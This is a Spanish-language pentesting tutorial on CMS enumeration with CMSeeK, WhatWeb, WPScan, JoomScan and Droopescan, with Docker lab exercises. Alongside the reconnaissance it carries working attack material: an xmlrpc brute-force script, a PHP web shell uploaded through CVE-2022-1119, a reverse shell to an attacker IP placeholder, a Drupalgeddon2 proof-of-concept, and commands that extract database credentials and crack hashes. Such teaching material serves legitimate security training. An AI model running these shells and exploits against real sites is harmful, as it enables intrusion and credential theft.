Enumeración Exhaustiva de CMS
CMSeeK es una herramienta de reconocimiento especializada en gestores de contenido (CMS). Detecta el CMS, su versión, plugins, temas, usuarios, directorios ocultos y configuraciones expuestas. El paso lógico tras confirmar un CMS con WhatWeb.
¿Por qué CMSeeK?
El 43% de todos los sitios web del mundo usa WordPress. Joomla y Drupal suman otro 5%. Estos gestores tienen superficies de ataque enormes: miles de plugins de terceros, versiones desactualizadas, usuarios enumerables y rutas predecibles. CMSeeK automatiza la fase de reconocimiento de estas plataformas de forma más profunda que cualquier escáner genérico.
Flujo de Reconocimiento Completo
WhatWeb es el primer paso: identifica el CMS en segundos. CMSeeK es el segundo: profundiza con cientos de checks específicos. Entender la transición entre ambas herramientas es clave.
WhatWeb: Detección Rápida de CMS
# Escaneo rápido whatweb https://target.com https://target.com [200 OK] WordPress[6.4.2], Apache[2.4.52], PHP[8.1.14] Country[US], HTTPServer[Ubuntu Linux][Apache/2.4.52] JQuery[3.7.1], MetaGenerator[WordPress 6.4.2] # Más verboso (-v, -a 3 para agresivo) whatweb -v -a 3 https://target.com WhatWeb report for https://target.com Status : 200 OK WordPress : version 6.4.2 plugins : JQuery version 3.7.1 PHP : version 8.1.14 Generator: WordPress 6.4.2 ← versión expuesta en meta tag! # Escaneo masivo de una lista de targets whatweb -i urls.txt --log-json=whatweb_results.json
Qué Indica WhatWeb para Escoger la Siguiente Herramienta
| WhatWeb detecta | Siguiente herramienta | Flags clave |
|---|---|---|
| WordPress | CMSeeK + WPScan | --cms wordpress / -u URL --enumerate |
| Joomla | CMSeeK + JoomScan | --cms joomla / -u URL |
| Drupal | CMSeeK + Droopescan | --cms drupal / scan drupal -u URL |
| CMS desconocido | CMSeeK (detección auto) | -u URL (sin especificar CMS) |
| Sin CMS claro | Nikto + Gobuster | -h URL / dir -u URL -w wordlist |
Extraer Información de WhatWeb para CMSeeK
# Detectar CMS con WhatWeb y lanzar CMSeeK automáticamente TARGET="https://target.com" CMS=$(whatweb -q "$TARGET" | grep -oE "(WordPress|Joomla|Drupal)" | head -1) echo "[*] CMS detectado: $CMS" python3 cmseek.py -u "$TARGET" --cms "${CMS,,}" # Información extra que WhatWeb puede revelar antes de CMSeeK: whatweb -v https://target.com | grep -E "(WordPress|Plugin|Theme|Version|X-Powered)" MetaGenerator: WordPress 6.4.2 ← versión desactualizada X-Powered-By: PHP/8.1.14 ← versión de PHP expuesta HTTPServer: Apache/2.4.52 ← versión de servidor expuesta
CMSeeK está escrito en Python 3. Instalación simple, múltiples modos de uso y output en JSON para integración con otras herramientas.
Instalación
# Clonar repositorio git clone https://github.com/Tuhinshubhra/CMSeeK.git cd CMSeeK # Instalar dependencias pip3 install -r requirements.txt # Verificar instalación python3 cmseek.py --help # Kali Linux: disponible en repos sudo apt update && sudo apt install cmseek -y cmseek --help # Docker (entorno aislado recomendado) docker pull tuhinshubhra/cmseek docker run -it tuhinshubhra/cmseek -u https://target.com
Sintaxis y Flags Principales
python3 cmseek.py [opciones] ## TARGET -u URL → URL objetivo (con http/https) -l LISTA → fichero con una URL por línea -r → modo random de la lista ## DETECCIÓN --follow-redirect → seguir redirecciones (útil con https) --cms CMS → forzar CMS: wordpress | joomla | drupal ## OUTPUT --output-json → guardar resultado en JSON (para pipelines) --no-redirect → no seguir redirecciones --user-agent UA → User-Agent personalizado ## EJEMPLOS RÁPIDOS python3 cmseek.py -u https://target.com python3 cmseek.py -u https://target.com --cms wordpress --follow-redirect python3 cmseek.py -l urls.txt --output-json
Output JSON para Pipelines
# Los resultados se guardan en Result/target_com/cms.json cat Result/target_com/cms.json | python3 -m json.tool # Extraer solo los plugins encontrados cat Result/target_com/cms.json | python3 -c " import json,sys data=json.load(sys.stdin) for p in data.get('wp_plugins',[]): print(f'[PLUGIN] {p}') " [PLUGIN] contact-form-7/2.3.1 [PLUGIN] woocommerce/7.0.0 [PLUGIN] elementor/3.14.0
CMSeeK genera un output rico con secciones diferenciadas. Saber qué buscar primero ahorra tiempo en auditorías.
Output Completo de CMSeeK (WordPress)
Prioridades de Lectura
WordPress tiene una superficie de ataque enorme y predecible. CMSeeK automatiza la mayor parte, pero hay checks manuales que siempre complementan el escaneo automático.
CMSeeK en Modo WordPress
# Escaneo completo con forzado de CMS python3 cmseek.py -u https://target-wp.com --cms wordpress --follow-redirect # Con User-Agent personalizado para evasión básica python3 cmseek.py -u https://target.com --cms wordpress \ --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" # Guardar resultado en JSON python3 cmseek.py -u https://target.com --cms wordpress --output-json ls Result/target_com/ cms.json ← resultado estructurado para parsing
Rutas y Archivos Clave de WordPress
| Ruta | Qué expone | Criticidad |
|---|---|---|
/wp-login.php | Panel de login. Vector de bruteforce | CRÍTICO |
/xmlrpc.php | API XML-RPC. Bruteforce multicall 1000x más rápido | CRÍTICO |
/wp-config.php | Credenciales DB. Nunca accesible (normalmente) | CRÍTICO |
/wp-config.php.bak | Backup de config con credenciales en texto claro | CRÍTICO |
/wp-json/wp/v2/users | Lista de usuarios via API REST (si está habilitada) | ALTO |
/readme.html | Confirma versión exacta de WordPress | MEDIO |
/?author=1 | Redirige al perfil del usuario ID 1 (generalmente admin) | MEDIO |
/wp-content/debug.log | Log de errores PHP. Puede contener rutas y datos | MEDIO |
/wp-content/uploads/ | Directorio de subidas. Directory listing si está mal configurado | MEDIO |
/.htaccess | Reglas de rewrite. Puede revelar configuración interna | BAJO |
Verificación Manual de Rutas Clave
# Script de verificación rápida de rutas WP TARGET="https://target.com" PATHS=( "wp-login.php" "xmlrpc.php" "wp-config.php.bak" "wp-config.php~" "wp-config.old" "readme.html" "license.txt" "wp-json/wp/v2/users" "wp-content/debug.log" "wp-content/uploads/" "wp-admin/admin-ajax.php" ".htaccess" "wp-cron.php" "wp-includes/version.php" ) for path in "${PATHS[@]}"; do CODE=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET/$path") [ "$CODE" = "200" ] && echo "[FOUND $CODE] $TARGET/$path" || echo "[ $CODE ] $path" done [FOUND 200] https://target.com/wp-login.php [FOUND 200] https://target.com/xmlrpc.php [FOUND 200] https://target.com/wp-config.php.bak ← CRÍTICO [FOUND 200] https://target.com/readme.html [ 403 ] wp-content/uploads/ [ 404 ] wp-config.php~
WordPress expone los nombres de usuario por múltiples vías: API REST, author archives, login error messages. CMSeeK explota todas ellas. Tener el username es el primer paso para un ataque de fuerza bruta.
Método 1 — API REST /wp-json/wp/v2/users
# API REST expone todos los usuarios registrados (si está habilitada) curl -s https://target.com/wp-json/wp/v2/users | python3 -m json.tool [ { "id": 1, "name": "admin", "url": "https://target.com", "description": "", "link": "https://target.com/author/admin/", "slug": "admin", "avatar_urls": {...} }, { "id": 2, "name": "john.doe", "slug": "john-doe" } ] # Extraer solo los usernames curl -s https://target.com/wp-json/wp/v2/users | python3 -c " import json,sys users=json.load(sys.stdin) for u in users: print(u['slug']) " | tee wp_users.txt admin john-doe
Método 2 — Author Archives (?author=N)
# WordPress redirige ?author=N al perfil /author/USERNAME/ for i in {1..10}; do USER=$(curl -s -L -o /dev/null -w "%{url_effective}" \ "https://target.com/?author=$i" | grep -oP '(?<=/author/)[^/]+') [ -n "$USER" ] && echo "[USER ID $i] $USER" done [USER ID 1] admin [USER ID 2] john-doe [USER ID 5] webmaster
Método 3 — Login Error Messages
# WP diferencia el error: "usuario desconocido" vs "contraseña incorrecta" curl -s -X POST https://target.com/wp-login.php \ -d "log=admin&pwd=wrongpassword&wp-submit=Log+In" \ | grep -o "Error.*" Error: The password you entered for the username admin is incorrect. ← "admin" EXISTE (la contraseña es incorrecta, no el usuario) curl -s -X POST https://target.com/wp-login.php \ -d "log=nonexistent&pwd=wrongpassword&wp-submit=Log+In" \ | grep -o "Error.*" Error: There is no account with that username or email address. ← usuario NO existe
Método 4 — WPScan para Enumeración Exhaustiva
# Enumerar usuarios con WPScan (complemento a CMSeeK) wpscan --url https://target.com --enumerate u [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:03 [i] User(s) Identified: [+] admin | Found By: Rss Generator (Passive Detection) | Confirmed By: Author Id Brute Forcing (Aggressive Detection) [+] john-doe | Found By: Author Id Brute Forcing # Guardar usuarios para bruteforce wpscan --url https://target.com --enumerate u --format json | \ python3 -c "import json,sys; d=json.load(sys.stdin); \ [print(u) for u in d.get('interesting_findings',{}).get('users',[])]"
Los plugins de WordPress son el vector de ataque más explotado. El repositorio de WP tiene más de 59.000 plugins, y miles tienen CVEs conocidos. CMSeeK detecta los instalados y WPScan los cruza con su base de datos de vulnerabilidades.
CMSeeK — Detección de Plugins
# CMSeeK detecta plugins buscando en el HTML y rutas predecibles python3 cmseek.py -u https://target.com --cms wordpress # WPScan: enumeración de plugins con base de datos de CVEs wpscan --url https://target.com --enumerate p --plugins-detection aggressive [+] Enumerating All Plugins (via Aggressive Methods) Checking Known Locations - Time: 00:01:43 [+] contact-form-7 | Location: https://target.com/wp-content/plugins/contact-form-7/ | Last Updated: 2021-12-20T00:00:00.000Z | [!] The version is out of date, the latest version is 5.7.7 | Version: 2.3.1 (100% confidence) | | Found By: Known Locations | [!] 1 vulnerability identified: | - CVE-2020-35489 — Unrestricted File Upload → RCE
Top Plugins Vulnerables Históricos
Buscar CVEs de Plugins Detectados
# Extraer plugins del JSON de CMSeeK y buscar en WPVulnDB PLUGINS=$(cat Result/target_com/cms.json | python3 -c " import json,sys d=json.load(sys.stdin) for p in d.get('wp_plugins',[]): print(p.split('/')[0]) # solo el nombre, sin versión ") # Buscar cada plugin en la API de WPVulnDB (requiere token gratuito) for plugin in $PLUGINS; do echo "=== $plugin ===" curl -s -H "Authorization: Token token=TU_TOKEN" \ "https://wpscan.com/api/v3/plugins/$plugin" | \ python3 -c "import json,sys; d=json.load(sys.stdin); \ vulns=d.get(list(d.keys())[0],{}).get('vulnerabilities',[]); \ [print(f' CVE: {v.get(\"cve\",\"N/A\")} - {v[\"title\"]}') for v in vulns]" done # Alternativa: searchsploit para búsqueda offline searchsploit "wordpress contact-form-7" searchsploit "wordpress elementor"
Los themes también tienen CVEs. Además, WordPress deja directorios y archivos expuestos que revelan información crítica sobre la instalación.
Detección de Themes
# CMSeeK detecta el theme activo automáticamente # Verificación manual desde el HTML fuente: curl -s https://target.com | grep -oP 'wp-content/themes/[^/]+' | sort -u wp-content/themes/astra wp-content/themes/astra-child # Obtener versión del theme desde style.css curl -s https://target.com/wp-content/themes/astra/style.css | head -15 /* Theme Name: Astra Theme URI: https://wpastra.com/ Version: 3.9.0 Author: Brainstorm Force */ # WPScan para themes wpscan --url https://target.com --enumerate t --themes-detection aggressive
Directorios Ocultos y Archivos Sensibles
# Gobuster con wordlist específica para WordPress gobuster dir -u https://target.com \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,txt,html,bak,old,zip,gz \ -t 30 --no-error -b 301,302,403 # Wordlist específica para WP gobuster dir -u https://target.com \ -w /usr/share/seclists/Discovery/Web-Content/CMS/wordpress.fuzz.txt \ -t 20 [+] /wp-admin/ (Status: 301) [+] /wp-content/ (Status: 301) [+] /wp-includes/ (Status: 301) [+] /wp-config.php.bak (Status: 200) ← CRÍTICO [+] /readme.html (Status: 200) [+] /xmlrpc.php (Status: 200) [+] /wp-cron.php (Status: 200)
Verificar xmlrpc.php
# Verificar si xmlrpc.php está habilitado y qué métodos expone curl -s -X POST https://target.com/xmlrpc.php \ -H "Content-Type: text/xml" \ -d '<?xml version="1.0"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>' | grep "<value>" | head -20 <value>system.listMethods</value> <value>system.multicall</value> ← bruteforce 1000x más rápido <value>wp.getUsersBlogs</value> <value>wp.getPost</value> # Bruteforce via multicall (1000 contraseñas por petición) python3 -c " import requests url = 'https://target.com/xmlrpc.php' user = 'admin' passwords = ['password','123456','admin','letmein','wordpress'] calls = [{'methodName':'wp.getUsersBlogs','params':[user,p]} for p in passwords] body = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>' body += ''.join(f'<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><string>{user}</string></value><value><string>{p}</string></value></data></array></value></member></struct></value>' for p in passwords) body += '</data></array></value></param></params></methodCall>' r = requests.post(url, data=body) print(r.text[:500]) "
Con los datos de CMSeeK en mano: usuarios enumerados, plugins vulnerables y xmlrpc habilitado. Aquí están los siguientes pasos en un pentest autorizado.
Bruteforce con WPScan
# Bruteforce con lista de usuarios y contraseñas wpscan --url https://target.com \ --usernames admin,john-doe \ --passwords /usr/share/wordlists/rockyou.txt \ --password-attack wp-login \ -t 10 # Bruteforce via xmlrpc (si está habilitado — mucho más rápido) wpscan --url https://target.com \ --usernames admin \ --passwords /usr/share/wordlists/rockyou.txt \ --password-attack xmlrpc-multicall \ -t 5 [SUCCESS] Login: admin / Password: wordpress2024!
Explotar Plugin Vulnerable (File Upload RCE)
# CVE-2022-1119: Simple File List < 4.2.3 — Unauthenticated File Upload # Crear un PHP shell simple echo '<?php system($_GET["cmd"]); ?>' > shell.php # Subir el shell via el endpoint vulnerable curl -s -F "file=@shell.php;filename=shell.php5" \ https://target.com/wp-content/plugins/simple-file-list/ee-upload-engine.php # Verificar si el shell está accesible curl -s "https://target.com/wp-content/uploads/simple-file-list/shell.php5?cmd=id" uid=33(www-data) gid=33(www-data) groups=33(www-data) # Reverse shell desde el RCE curl -s "https://target.com/wp-content/uploads/simple-file-list/shell.php5?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATACANTE_IP/4444+0>%261'"
Post-Compromiso: Leer wp-config.php
# Una vez con shell como www-data, leer wp-config.php curl -s "https://target.com/shell.php?cmd=cat+/var/www/html/wp-config.php" /** MySQL database username */ define( 'DB_USER', 'wordpress_user' ); /** MySQL database password */ define( 'DB_PASSWORD', 'S3cur3P@ssw0rd!' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); # Extraer hashes de la base de datos mysql -u wordpress_user -p'S3cur3P@ssw0rd!' wordpress -e \ "SELECT user_login,user_pass FROM wp_users;" admin | $P$B5fL.Ig7zMuOKpG4V1FcjUnQHJLrb71 # Crackear hash WordPress (phpass) hashcat -m 400 hash.txt rockyou.txt
Joomla tiene su propia estructura de directorios y formas de exponer información. CMSeeK detecta versiones, componentes, usuarios y rutas de administración.
CMSeeK + JoomScan
# CMSeeK con forzado Joomla python3 cmseek.py -u https://target-joomla.com --cms joomla --follow-redirect # JoomScan (herramienta complementaria especializada) git clone https://github.com/OWASP/joomscan.git && cd joomscan perl joomscan.pl -u https://target-joomla.com ------ Joomscan ------ [+] FireWall Detector: No WAF Detected [+] Detecting Joomla Version: 3.10.11 [!] Joomla is outdated! [+] Core Joomla Vulnerability: CVE-2023-23752 — Improper Access Check (Info Disclosure) [+] Admin page: http://target-joomla.com/administrator/ [+] Components: com_content, com_users, com_contact com_jdownloads v3.2.4 ← Vulnerable: SQLi [+] Interesting Paths: /configuration.php.bak ← ACCESSIBLE!
Rutas Clave de Joomla
| Ruta | Qué expone | Criticidad |
|---|---|---|
/administrator/ | Panel de administración Joomla | CRÍTICO |
/configuration.php | Credenciales DB (normalmente protegido) | CRÍTICO |
/configuration.php.bak | Backup con credenciales en texto claro | CRÍTICO |
/api/index.php/v1/ | Joomla API REST — CVE-2023-23752 | CRÍTICO |
/README.txt | Confirma versión de Joomla | MEDIO |
/htaccess.txt | Plantilla de .htaccess — revela estructura | BAJO |
Enumeración de Usuarios Joomla
# Método 1: Error de login (diferencia usuario válido/inválido) curl -s -X POST https://target.com/administrator/index.php \ -d "username=admin&passwd=wrongpass&option=com_login&task=login&return=⟨=" \ | grep -oP "(Invalid password|Username and password|account has been blocked)" # Método 2: Feed RSS (expone nombre de autor) curl -s "https://target.com/index.php?format=feed&type=rss" | grep -oP "<author>.*?</author>" <author>admin@target.com (Super Admin)</author> # Método 3: Joomla API — CVE-2023-23752 (Joomla < 4.2.8) curl -s "https://target.com/api/index.php/v1/config/application?public=true" { "data": [{ "type": "application", "attributes": { "host": "localhost", "db": "joomla_db", "user": "joomlauser", "password": "joomlaDbP@ss" ← CREDENCIALES EN TEXTO CLARO! } }] }
Las vulnerabilidades más impactantes de Joomla a lo largo del tiempo y cómo detectarlas con CMSeeK y verificación manual.
CVE-2023-23752 — Información Sensible via API
La API REST de Joomla no restringe correctamente el acceso. Cualquier usuario no autenticado puede leer la configuración de la base de datos, incluyendo credenciales en texto claro.
# Verificar versión vulnerable curl -s https://target.com/README.txt | head -5 Joomla! 4.2.6 → VULNERABLE (necesita < 4.2.8) # Extraer configuración de base de datos curl -s "https://target.com/api/index.php/v1/config/application?public=true" | python3 -m json.tool { "data": [{"attributes": { "host": "localhost", "db": "joomla_db", "user": "joomlauser", "password": "S3cretP@ss123" }}] } # Extraer lista de usuarios curl -s "https://target.com/api/index.php/v1/users?public=true" | python3 -c " import json,sys d=json.load(sys.stdin) for u in d.get('data',[]): print(f'[USER] {u[\"attributes\"][\"name\"]} / {u[\"attributes\"][\"email\"]}') " [USER] Super Admin / admin@target.com [USER] Editor / editor@target.com
Componentes Joomla Más Vulnerables
| Componente | Versión | Vulnerabilidad | Impacto |
|---|---|---|---|
| com_jdownloads | < 3.9.4 | SQL Injection no autenticada | RCE |
| com_jce | < 2.9.0 | File upload → RCE | RCE |
| com_foxcontact | < 2.4.0 | Path traversal + LFI | LFI |
| com_virtuemart | < 3.8.9 | SQLi en parámetro de filtro | SQLi |
| com_fabrik | todas | LFI crítico (no parcheado) | LFI→RCE |
Drupal es el CMS preferido por gobiernos y corporaciones. Sus vulnerabilidades más severas tienen nombre propio: Drupalgeddon. CMSeeK detecta la versión y los módulos instalados.
CMSeeK + Droopescan en Drupal
# CMSeeK con forzado Drupal python3 cmseek.py -u https://target-drupal.com --cms drupal --follow-redirect # Droopescan — especialista en Drupal pip3 install droopescan droopescan scan drupal -u https://target-drupal.com -t 8 [+] Plugins found: ctools 7.x-1.12 views 7.x-3.18 ckeditor 7.x-1.18 ← CVE-2016-9909 [+] Themes found: seven, bartik, omega [+] Drupal version: 7.58 ← VULNERABLE a Drupalgeddon2 (CVE-2018-7600) [+] Interesting URLs: https://target-drupal.com/CHANGELOG.txt ← expone versión exacta https://target-drupal.com/user/ ← login page
Rutas Clave de Drupal
| Ruta | Qué expone | Criticidad |
|---|---|---|
/CHANGELOG.txt | Versión exacta de Drupal. Eliminar en producción | ALTO |
/user/register | Registro de usuarios (puede estar abierto) | ALTO |
/admin/ | Panel de administración | ALTO |
/sites/default/settings.php | Configuración DB (normalmente protegido) | CRÍTICO |
/jsonapi/ | API JSON — Drupalgeddon3 (CVE-2018-7602) | CRÍTICO |
/?q=node/1 | Nodo base — puede revelar información | BAJO |
/robots.txt | Revela rutas internas excluidas del crawler | MEDIO |
Las vulnerabilidades Drupalgeddon son las más conocidas en la historia de los CMS. Afectaron a millones de sitios y son referencia obligatoria en cualquier auditoría de Drupal.
RCE no autenticado en Drupal 6, 7 y 8. El atacante puede ejecutar código arbitrario sin ninguna credencial. Fue masivamente explotado en campañas de cryptomining en 2018.
# Verificar versión vulnerable (7.x < 7.58 o 8.x < 8.5.1) curl -s https://target.com/CHANGELOG.txt | head -3 Drupal 7.57, 2018-02-21 → VULNERABLE # PoC básico CVE-2018-7600 — Drupal 7 curl -s \ 'https://target.com/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=id' \ -d "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password" uid=33(www-data) gid=33(www-data) groups=33(www-data) # Metasploit (entornos autorizados) msfconsole -q -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOSTS target.com; set RPORT 443; set SSL true; set TARGETURI /; run" # Leer settings.php tras RCE curl -s "https://target.com/shell.php?cmd=cat+/var/www/html/sites/default/settings.php" | grep "password" 'password' => 'drupalDbPassw0rd',
| CVE | Nombre | Versiones | Tipo |
|---|---|---|---|
| CVE-2014-3704 | Drupalgeddon | Drupal < 7.32 | SQLi → Auth bypass |
| CVE-2018-7600 | Drupalgeddon2 | Drupal 6/7/8 | Unauth RCE |
| CVE-2018-7602 | Drupalgeddon3 | Drupal 7/8 | Auth RCE |
| CVE-2019-6340 | REST API RCE | Drupal 8.6.x | Unauth RCE |
Montar un entorno WordPress vulnerable con Docker, ejecutar CMSeeK y WPScan, identificar todos los vectores y explotar el más crítico.
Entorno Docker con WordPress 5.8 (desactualizado), plugin Simple File List 4.2.2 (CVE-2022-1119), usuario "admin" enumerable y xmlrpc.php habilitado.
Fase 1 — Montar el Entorno
# docker-compose.yml cat > docker-compose.yml << 'EOF' version: "3" services: db: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD: rootpass MYSQL_DATABASE: wordpress MYSQL_USER: wpuser MYSQL_PASSWORD: wppass volumes: - db_data:/var/lib/mysql wordpress: image: wordpress:5.8-php7.4-apache ports: - "8080:80" environment: WORDPRESS_DB_HOST: db WORDPRESS_DB_USER: wpuser WORDPRESS_DB_PASSWORD: wppass WORDPRESS_DB_NAME: wordpress volumes: - wp_data:/var/www/html volumes: db_data: wp_data: EOF docker-compose up -d # Visitar http://localhost:8080 y completar la instalación # Usuario: admin / Contraseña: admin123 (para el lab) # Instalar plugin vulnerable (Simple File List 4.2.2) docker exec -it [wp_container] bash -c \ "cd /var/www/html/wp-content/plugins && \ wget https://downloads.wordpress.org/plugin/simple-file-list.4.2.2.zip && \ unzip simple-file-list.4.2.2.zip && rm simple-file-list.4.2.2.zip" # Activar el plugin via WP-CLI docker exec -it [wp_container] wp plugin activate simple-file-list --allow-root
Fase 2 — Reconocimiento con WhatWeb + CMSeeK
# Paso 1: WhatWeb para confirmar CMS whatweb http://localhost:8080 http://localhost:8080 [200 OK] WordPress[5.8], PHP[7.4.33] # Paso 2: CMSeeK para enumeración profunda python3 cmseek.py -u http://localhost:8080 --cms wordpress [✓] WordPress 5.8 detectado — DESACTUALIZADO [✓] Usuarios: admin (ID:1) [✓] xmlrpc.php: HABILITADO [✓] Plugin: simple-file-list v4.2.2 ← VULNERABLE CVE-2022-1119 # Paso 3: WPScan para validar con base de datos CVE wpscan --url http://localhost:8080 \ --enumerate u,p,t \ --plugins-detection aggressive \ --api-token TU_TOKEN_GRATUITO
Fase 3 — Explotar CVE-2022-1119
# Crear shell PHP echo '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);"</pre>";} ?>' > shell.php5 # Subir via endpoint vulnerable (unauthenticated file upload) curl -s -F "file=@shell.php5;filename=shell.php5" \ http://localhost:8080/wp-content/plugins/simple-file-list/ee-upload-engine.php # Ejecutar comandos como www-data curl "http://localhost:8080/wp-content/uploads/simple-file-list/shell.php5?cmd=id" <pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre> # Leer wp-config.php curl "http://localhost:8080/wp-content/uploads/simple-file-list/shell.php5?cmd=cat+/var/www/html/wp-config.php" | grep -E "(DB_|table_prefix)" define( 'DB_NAME', 'wordpress' ); define( 'DB_USER', 'wpuser' ); define( 'DB_PASSWORD', 'wppass' ); ← credenciales de DB obtenidas
Cleanup
docker-compose down -v # Elimina los contenedores y volúmenes del lab
Joomla con CVE-2023-23752 activo: expone credenciales de base de datos sin autenticación via la API REST. Detección, explotación y pivoting.
Joomla 4.2.6 con API REST habilitada. La versión es vulnerable a CVE-2023-23752 que expone la configuración completa incluyendo credenciales de base de datos sin necesidad de login.
# Usar imagen Docker de Joomla 4.2.6 docker run -d --name joomla-lab \ -e JOOMLA_DB_HOST=db \ -e JOOMLA_DB_PASSWORD=secret \ -p 8081:80 \ joomla:4.2.6-php8.0-apache # Reconocimiento con CMSeeK python3 cmseek.py -u http://localhost:8081 --cms joomla [✓] Joomla 4.2.6 — VULNERABLE a CVE-2023-23752 [✓] Admin URL: http://localhost:8081/administrator/ [!] API REST habilitada: /api/index.php/v1/ # Explotar CVE-2023-23752 — Info Disclosure curl -s "http://localhost:8081/api/index.php/v1/config/application?public=true" | \ python3 -c "import json,sys; d=json.load(sys.stdin); \ attrs=d['data'][0]['attributes']; \ print(f'DB Host: {attrs[\"host\"]}\nDB: {attrs[\"db\"]}\nUser: {attrs[\"user\"]}\nPass: {attrs[\"password\"]}')" DB Host: localhost DB: joomla_db User: joomlauser Pass: s3cr3tP@ssDB! ← credenciales en texto claro # Extraer usuarios via API curl -s "http://localhost:8081/api/index.php/v1/users?public=true" | python3 -m json.tool
Flujo de reconocimiento completo ante un objetivo desconocido: desde la detección inicial del CMS hasta la generación del informe con todos los vectores identificados.
Script de Reconocimiento Completo
#!/bin/bash ## Ghost Academy — CMS Recon Script ## Uso: ./cms_recon.sh https://target.com TARGET=$1 DOMAIN=$(echo $TARGET | sed 's|https\?://||;s|/.*||') OUTDIR="recon_$DOMAIN" mkdir -p "$OUTDIR" echo "═══════════════════════════════════════════" echo " GhostAcademy CMS Recon → $TARGET" echo "═══════════════════════════════════════════" ## PASO 1: WhatWeb — detección inicial echo "[1/5] WhatWeb..." whatweb -v "$TARGET" | tee "$OUTDIR/whatweb.txt" CMS=$(cat "$OUTDIR/whatweb.txt" | grep -oE "(WordPress|Joomla|Drupal)" | head -1 | tr '[:upper:]' '[:lower:]') echo "[*] CMS detectado: ${CMS:-desconocido}" ## PASO 2: CMSeeK — enumeración profunda echo "[2/5] CMSeeK..." python3 /opt/CMSeeK/cmseek.py -u "$TARGET" \ ${CMS:+--cms $CMS} --follow-redirect --output-json 2>&1 | tee "$OUTDIR/cmseek.txt" ## PASO 3: Verificación de rutas sensibles echo "[3/5] Rutas sensibles..." PATHS=("wp-config.php.bak" "wp-config.php~" "readme.html" "xmlrpc.php" "CHANGELOG.txt" "configuration.php.bak" "administrator/" ".git/config" "wp-json/wp/v2/users" "api/index.php/v1/config/application?public=true") for path in "${PATHS[@]}"; do CODE=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET/$path" --max-time 5) [ "$CODE" = "200" ] && echo " [FOUND $CODE] $path" | tee -a "$OUTDIR/paths.txt" done ## PASO 4: WPScan si es WordPress if [ "$CMS" = "wordpress" ]; then echo "[4/5] WPScan..." wpscan --url "$TARGET" --enumerate u,p,t \ --plugins-detection aggressive \ --format json -o "$OUTDIR/wpscan.json" 2>/dev/null fi ## PASO 5: Gobuster echo "[5/5] Gobuster..." gobuster dir -u "$TARGET" \ -w /usr/share/seclists/Discovery/Web-Content/CMS/wordpress.fuzz.txt \ -x php,txt,bak,zip -t 20 -q \ -o "$OUTDIR/gobuster.txt" 2>/dev/null echo "" echo "═══════════════ RESUMEN ═══════════════" echo "Resultados en: ./$OUTDIR/" echo "Rutas críticas encontradas:" cat "$OUTDIR/paths.txt" 2>/dev/null || echo " Ninguna"
WPScan es el complemento natural de CMSeeK para WordPress. Tiene acceso a WPVulnDB (base de datos de vulnerabilidades de WP) y permite bruteforce, enumeración de plugins y CVE matching.
Instalación y Token de API
# Kali Linux: viene preinstalado wpscan --version # Actualizar base de datos de vulnerabilidades wpscan --update # Registrar token gratuito en wpscan.com (25 peticiones/día gratis) # Configurar token para acceso a WPVulnDB wpscan --api-token TU_TOKEN_AQUI --url https://target.com --enumerate vp
Comandos WPScan Más Útiles
# Enumeración completa con CVEs wpscan --url https://target.com \ --api-token TOKEN \ --enumerate u,vp,vt,cb,dbe \ --plugins-detection aggressive # u = users # vp = vulnerable plugins # vt = vulnerable themes # cb = config backups # dbe = db exports # Bruteforce de contraseñas wpscan --url https://target.com \ --usernames admin,john-doe \ --passwords /usr/share/wordlists/rockyou.txt \ --password-attack xmlrpc-multicall # Guardar en JSON para reporting wpscan --url https://target.com --format json -o wp_report.json # Evadir WAF con User-Agent aleatorio wpscan --url https://target.com --random-user-agent --delay 2000
Técnicas de enumeración manual para cuando las herramientas automáticas no llegan o están bloqueadas por WAF. El conocimiento del CMS que tienen los analistas experimentados.
Fingerprinting de CMS sin Herramientas
# 1. Mirar el código fuente de la página principal curl -s https://target.com | grep -E "(wp-content|joomla|drupal|generator)" | head -10 <meta name="generator" content="WordPress 6.2.1"/> <link rel='stylesheet' href='https://target.com/wp-content/themes/astra/...> # 2. Headers HTTP curl -si https://target.com | grep -i "(X-Powered|Server|X-Generator|X-Drupal|X-Joomla)" X-Powered-By: PHP/8.1.14 Server: Apache/2.4.52 (Ubuntu) X-Generator: Drupal 10 (https://www.drupal.org) # 3. Cookies curl -si https://target.com | grep -i "Set-Cookie" Set-Cookie: PHPSESSID=...; path=/ Set-Cookie: joomla_session=...; ← Joomla confirmado! # 4. Rutas únicas de cada CMS curl -so /dev/null -w "%{http_code}" https://target.com/wp-login.php # 200 = WordPress curl -so /dev/null -w "%{http_code}" https://target.com/administrator/ # 200 = Joomla curl -so /dev/null -w "%{http_code}" https://target.com/CHANGELOG.txt # 200 = Drupal
Recopilar Información del CMS sin Escanear
# Wayback Machine — versiones históricas del sitio curl -s "https://archive.org/wayback/available?url=target.com/readme.html" # Shodan — info del servidor sin tocar el target shodan host TARGET_IP Ports: 80, 443, 22 Hostnames: target.com Tags: WordPress, PHP # Google Dorks para encontrar archivos sensibles del CMS site:target.com filetype:log ← logs accesibles site:target.com inurl:wp-config.php ← config expuesta (raro pero ocurre) site:target.com "Index of /wp-content" ← directory listing activo # BuiltWith / Wappalyzer (no intrusivo) curl -s "https://api.builtwith.com/free1/api.json?KEY=free&LOOKUP=target.com" | python3 -m json.tool
Lista de verificación completa para auditorías de CMS. Úsala como guía en cada pentest.
★ Todos los CMS — Detección Inicial
- Lanzar WhatWeb para detección rápida del CMS y tecnologías
- Inspeccionar código fuente (meta generator, rutas wp-content)
- Revisar headers HTTP (X-Generator, cookies de sesión)
